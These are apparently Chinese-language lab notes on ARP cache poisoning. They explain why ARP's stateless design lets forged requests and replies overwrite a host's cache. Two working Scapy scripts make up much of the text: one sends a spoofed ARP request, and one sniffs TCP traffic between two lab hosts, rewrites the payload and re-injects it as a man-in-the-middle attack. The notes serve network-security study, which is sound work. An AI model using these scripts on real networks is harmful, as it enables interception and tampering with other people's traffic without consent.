ARP 协议
用于地址解析,请求MAC地址。
arp -a 或者 -n 查看ARP缓存表
ls(ARP) 查看scapy里的协议字段
ARP缓存中毒原理
ARP收到ARP请求报文,会将发送方的mac地址写入到自己的ARP缓存表。 --伪造ARP请求报文
ARP无状态,无法判断响应是不是请求的结果,即使没有请求,也可以收到响应。
即使不是对这个请求的响应,也会更新自己的cache。 --伪造ARP响应报文
from scapy.all import *
DS_MAC='FF:FF:FF:FF:FF:FF'
DS_IP ='10.0.2.5'
VIM_MAC='aa:bb:cc:dd:ee:ff'
VIM_IP='10.0.2.99'
e=Ether()
e.dst=DS_MAC
e.src=VIM_MAC
a=ARP()
a.op=1
a.hwsrc=VIM_MAC
a.psrc=VIM_IP
a.hwdst=DS_MAC
a.pdst=DS_IP
frame=e/a
sendp(frame)
op为1表示请求包,响应包为2
ARP 缓存中毒 实现中间人攻击
注意:需要 sudo sysctl net.ipv4.ip_forward=0
先进行ARP缓存的中毒,这样二者通信的数据包可通过攻击者,然后攻击者再进行修改TCP报文。
from scapy.all import *
def spoof_pkt(pkt):
if pkt[IP].src=='10.0.2.4' and pkt[IP].dst =='10.0.2.5' and pkt[TCP].payload:
data = pkt[TCP].payload.load
newpkt = pkt[IP]
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
newdata = data.replace(b'hello',b'hacker')
newpkt = newpkt/newdata
send(newpkt,verbose=0)
elif pkt[IP].src=='10.0.2.5' and pkt[IP].dst == '10.0.2.4':
newpkt=pkt[IP]
send(newpkt,verbose=0)
pkt = sniff(filter='tcp',prn=spoof_pkt)